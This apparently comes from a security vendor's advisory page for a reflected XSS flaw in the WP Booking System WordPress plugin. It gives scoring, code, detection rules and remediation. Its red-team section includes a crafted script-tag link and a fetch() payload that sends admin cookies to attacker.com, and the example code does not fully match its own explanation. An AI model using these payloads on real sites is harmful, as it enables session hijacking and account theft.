CVE-2024-8797
Executive Summary
CVE-2024-8797 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WP Booking System – Booking Calendar plugin for WordPress, affecting all versions up to and including 2.0.19.8. The flaw arises from the insecure use of add_query_arg and remove_query_arg functions without proper output escaping on URL parameters. An unauthenticated attacker can craft a malicious link that, when clicked by an authenticated administrator or any user, executes arbitrary JavaScript in the context of the victim’s browser session. This can lead to session hijacking, credential theft, or defacement of the WordPress admin interface.
The vulnerability is classified as Reflected XSS (CWE-79) with a CVSS v3.1 base score of 6.1 (Medium). The EPSS probability is 0.0%, indicating low active exploitation in the wild, but the lack of a confirmed patch makes it a persistent risk for unmaintained sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No supply chain compromise has been reported; the issue is a code-level flaw in the plugin’s URL handling logic. Administrators should verify plugin integrity via checksums and monitor for official updates.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – Unauthenticated attacker.
- User Interaction (UI): Required (R) – Victim must click a crafted link.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No direct DoS impact.
Threat Level: Medium. Exploitation requires user interaction, but the attack surface is broad (any WordPress admin or user). The lack of a patch increases long-term risk.
Deep Dive & Mechanics
The vulnerability resides in the plugin’s admin-facing pages that use add_query_arg and remove_query_arg to construct URLs. These functions are used to build links for pagination, sorting, or filtering within the booking calendar dashboard. The plugin fails to escape the resulting URL before outputting it in HTML attributes (e.g., href). An attacker can inject a malicious query parameter containing JavaScript payloads.
Example vulnerable code pattern:
$url = add_query_arg( 'page', 'wp-booking-system', admin_url( 'admin.php' ) );
echo '<a href="' . $url . '">Link</a>';
If an attacker can control a parameter like page via a crafted request, the URL becomes:
/admin.php?page=wp-booking-system&<script>alert(1)</script>
When the victim clicks the link, the script executes in the admin context.
Vulnerable vs. Patched Code
Vulnerable (<= 2.0.19.8):
// No escaping on the output
$url = add_query_arg( $args, $base_url );
echo '<a href="' . $url . '">' . $label . '</a>';
Patched (hypothetical fix):
// Escape the URL before output
$url = add_query_arg( $args, $base_url );
echo '<a href="' . esc_url( $url ) . '">' . esc_html( $label ) . '</a>';
The esc_url() function sanitizes the URL, stripping dangerous characters and preventing XSS. The official patch status is unknown, but this is the standard WordPress mitigation.
Exploitation & Lab Setup
Red Team (Proof of Concept)
Since no public exploit code is available, a basic PoC can be constructed:
- Craft the malicious link:
http://target.com/wp-admin/admin.php?page=wp-booking-system&<script>alert(document.cookie)</script> - Deliver via phishing email or social engineering to an admin user.
- Upon click, the script executes in the admin dashboard, exfiltrating session cookies or performing actions on behalf of the victim.
Example payload for session hijacking:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Detection & Hardening)
- Input Validation: Ensure all URL parameters are validated against a whitelist.
- Output Escaping: Use
esc_url()for all URLs generated withadd_query_arg. - Content Security Policy (CSP): Implement a strict CSP header to block inline scripts.
- Web Application Firewall (WAF): Deploy rules to block reflected XSS patterns in query strings.
Indicators of Compromise (IOCs)
- Network IOCs:
- Suspicious URLs containing
<script>tags in query parameters targeting/wp-admin/admin.php?page=wp-booking-system. - Outbound HTTP requests to attacker-controlled domains from the WordPress admin interface.
- Suspicious URLs containing
- Host IOCs:
- Unexpected JavaScript files or inline scripts in the WordPress admin HTML source.
- Modified plugin files (check file integrity via
wp core verify-checksums).
- Log IOCs:
- Access logs showing
admin.php?page=wp-booking-systemwith encoded or raw script tags. - Error logs with PHP warnings about
add_query_argmisuse.
- Access logs showing
Detection Engineering
YARA Rule
rule CVE_2024_8797_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against WP Booking System plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-8797"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/i
$wp_booking = /wp-booking-system/i
condition:
$wp_booking and $xss_payload
}
Sigma Rule
title: Reflected XSS Attempt Against WP Booking System
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS payloads in URLs targeting the WP Booking System plugin
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-uri-query|contains: 'wp-booking-system'
cs-uri-query|re: '<script[^>]*>.*?</script>'
condition: selection
falsepositives:
- Legitimate use of script tags in URLs (rare)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2024-8797 Reflected XSS in WP Booking System";
flow:to_server,established;
content:"wp-booking-system"; http_uri;
pcre:"/<script[^>]*>.*?<\/script>/i";
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the WP Booking System plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
- Educate users not to click suspicious links, especially those containing
wp-booking-system.
Long-term Fix:
- Apply the official patch when released (monitor the WordPress plugin repository).
- As a temporary fix, modify the plugin code to use
esc_url()on alladd_query_argoutputs. - Conduct a code audit for similar insecure URL handling in other plugins.
Detection & Monitoring:
- Deploy the provided YARA, Sigma, and Suricata rules.
- Enable WordPress security logging and monitor for unusual admin activity.
Valters IT
DevSecOps & Cyber Threat Intelligence Division
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.